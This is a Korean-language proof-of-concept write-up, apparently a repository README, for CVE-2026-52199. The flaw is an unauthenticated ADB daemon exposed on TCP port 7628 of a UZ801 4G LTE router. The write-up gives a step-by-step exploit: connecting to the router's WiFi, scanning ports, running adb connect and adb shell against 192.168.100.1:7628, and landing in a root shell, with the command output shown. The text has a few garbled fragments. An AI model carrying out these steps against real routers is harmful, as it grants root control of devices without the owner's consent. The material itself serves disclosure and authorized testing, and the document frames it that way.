
CVE-2026-52199에 대한 개념 증명 익스플로잇: UZ801 4G LTE 라우터에서 노출된 ADB 데몬을 통한 인증되지 않은 원격 코드 실행. 취약점 분석, 영향 평가, 그리고 승인된 보안 테스트를 위한 단계별 익스플로잇 가이드를 포함합니다.
중요한 잘못된 접근 제어 취약점이 **Generic OEM UZ801_v2.1 4G LTE 라우터(펌웨어 V3.4.3)**에 존재합니다. 이 장치는 인증되지 않은 Android Debug Bridge(ADB) 데몬(/sbin/adbd)을 TCP 포트 7628을 통해 인접 네트워크(LAN/WiFi)에 부적절하게 노출합니다.
장치의 로컬 네트워크에 연결된 공격자는 이 결함을 악용하여 모든 인증 메커니즘을 우회하고, ADB 연결을 설정하며, 루트 권한으로 임의 코드를 실행할 수 있습니다.

/sbin/adbd이 취약점을 악용하면 전체 시스템이 손상됩니다. 영향은 다음과 같습니다:
root 셸로 떨어짐)악용 과정은 표준 adb 클라이언트와 인접 네트워크 액세스 외에는 특별한 도구가 필요하지 않습니다.
1단계: UZ801 라우터의 WiFi 네트워크에 연결합니다 (기본 게이트웨이는 일반적으로 192.168.100.1입니다).
2단계: 장치에서 열린 포트를 스캔합니다. 포트 7628/TCP가 열린 것으로 보고됩니다.
3단계: 공격자의 머신에서 문서화되지 않은 포트로 ADB 연결을 시작합니다:
$ adb connect 192.168.100.1:7628
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.100.1:7628
4단계: 대화형 셸을 요청합니다:
$ adb -s 192.168.100.1:7628 shell
5단계: 공격자는 인증 프롬프트 없이 즉시 루트 셸로 떨어집니다:
root@msm8916_32_512:/ # id
uid=0(root) gid=0(root) context=u:r:su:s0
root@msm8916_32_512:/ # uname -a
Linux localhost 3.10.49 #1 SMP PREEMPT ... aarch64
교육 및 승인된 보안 연구 목적으로만 사용하십시오.
이 저장소에 제공된 정보와 개념 증명은 전적으로 교육 목적과 네트워크 보안을 돕기 위한 것입니다. 저자(lamaper)는 이 정보의 오용에 대해 책임을 지지 않습니다. 소유하지 않거나 테스트할 명시적 권한이 없는 장치나 네트워크에 대해 이 익스플로잇을 사용하지 마십시오.